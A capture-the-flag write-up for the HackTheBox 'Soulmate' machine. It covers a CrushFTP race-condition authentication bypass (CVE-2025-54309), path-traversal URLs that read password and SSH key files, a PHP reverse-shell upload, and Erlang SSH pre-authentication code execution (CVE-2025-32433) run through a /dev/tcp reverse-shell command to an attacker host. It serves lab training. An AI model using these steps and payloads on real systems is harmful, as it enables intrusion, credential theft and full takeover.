Soulmate Writeup - HackTheBox
Last updated May 10, 2026 • 4 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Soulmate - Find Your Perfect Match
Add soulmate.htb to /etc/hosts. Port 80 is a dating web app backed by PHP.
Virtual Host Enumeration
ftp.soulmate.htb Status: 302 [--> /WebInterface/login.html]
Add ftp.soulmate.htb to /etc/hosts. The redirect lands on a CrushFTP login page. The JavaScript bundle path /WebInterface/new-ui/assets/app/components/template2.js?v=11.W.657-2025_03_08_07_52 confirms CrushFTP version 11.
Initial Access
CVE-2025-54309 — CrushFTP Race Condition Authentication Bypass
CVE-2025-54309 is a race condition in CrushFTP's session handling. By sending two simultaneous requests — one with an AS2-TO: \crushadmin header and one without — there is a timing window where the server briefly treats the unauthenticated session as admin. This allows unauthenticated access to admin API functions including user enumeration and user creation.
First, confirm the target is vulnerable and enumerate existing users:
[*] CRUSHFTP RACE CONDITION POC [*] TARGET: http://ftp.soulmate.htb [*] ATTACK: 5000 requests with new c2f every 50 requests [*] NEW SESSION: c2f=o56w [*] EXFILTRATED 5 USERS: ben, crushadmin, default, jenna, TempAccount [*] VULNERABLE! RACE CONDITION POSSIBLE!
Five users confirmed. Use the user-creation variant to inject a new admin account:
[+] SUCCESS! User 'htbadmin' created successfully! [+] EXPLOITATION COMPLETE! [+] Admin user created: htbadmin:HTBPassword123!
Log in at http://ftp.soulmate.htb/WebInterface/ with the newly created admin account.
LFI via CrushFTP Log Viewer
The CrushFTP admin panel exposes a log viewer endpoint that accepts a file parameter with no path restriction:
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/etc/passwd
This returns the container's /etc/passwd. More usefully, it exposes the CrushFTP SSH host key and the admin passfile:
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/ssh_host_rsa_key
Returns the RSA private key for the CrushFTP Erlang SSH service.
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/passfile
$CRUSHFTP_PASSFILE_PASSWORDFTP Access and PHP Backdoor Upload
With admin access to the CrushFTP web interface, reset the passwords for ben and jenna to gain FTP access. Using ben's account, navigate the FTP filesystem to the web root directory mapped to http://soulmate.htb/. Upload a PHP reverse shell.
Start a listener:
Trigger the backdoor:
Shell lands as www-data. Stabilise it:
Credential Discovery in Web App Source
With filesystem access, read the web application config:
$adminPassword = password_hash('$ADMIN_PASSWORD', PASSWORD_DEFAULT);
$adminInsert = $this->pdo->prepare("
INSERT INTO users (username, password, is_admin, name)
VALUES (?, ?, 1, 'Administrator')
");
$adminInsert->execute(['admin', $adminPassword]);
The hardcoded admin password for soulmate.htb works on the login page. The application's SQLite database at ../data/soulmate.db also contains the bcrypt hash for the admin account confirming the same credential.
SSH as ben
The create-user-with-ssh.sh script found in the FTP user directories reveals that SSH users authenticate via key pairs. The LFI already retrieved the CrushFTP container's SSH host key. Cross-referencing /etc/passwd from the PHP shell shows ben (UID 1000) is the only human user on the host system.
Check for ben's SSH key in his home directory via the PHP shell and connect:
Privilege Escalation
Internal Service Discovery via Chisel
ss -tulnp from the shell reveals several internally bound ports:
127.0.0.1:2222 # Erlang SSH 127.0.0.1:8080 127.0.0.1:8443 127.0.0.1:9090
The host also has Docker bridge interfaces (172.17.0.1, 172.18.0.1, 172.19.0.1). Set up a SOCKS5 tunnel to reach internal services:
Probe port 2222:
SSH-2.0-Erlang/5.2.9
Port 2222 runs an Erlang SSH daemon, not OpenSSH.
CVE-2025-32433 — Erlang SSH Unauthenticated RCE
CVE-2025-32433 is a critical vulnerability in the Erlang/OTP SSH implementation. Erlang SSH allows sending channel messages before authentication completes, meaning an attacker can open a session channel and send an exec request containing arbitrary Erlang OS commands without any credentials.
[*] Connecting to target...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT; cat <&5 | while read line; do $line 2>&5 >&5; done'").
[✓] Exploit sent. If vulnerable, command should execute.
[+] Reverse shell command sent. Check your listener.
connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.86] 42632 whoami root
Root shell.
References
-
CVE-2025-54309 CrushFTP race condition auth bypass PoC
-
CVE-2025-54309 CrushFTP authentication bypass
-
CVE-2025-32433 Erlang/OTP SSH pre-authentication RCE
-
CrushFTP 11.3.1 Authentication Bypass (CVE-2025-31161)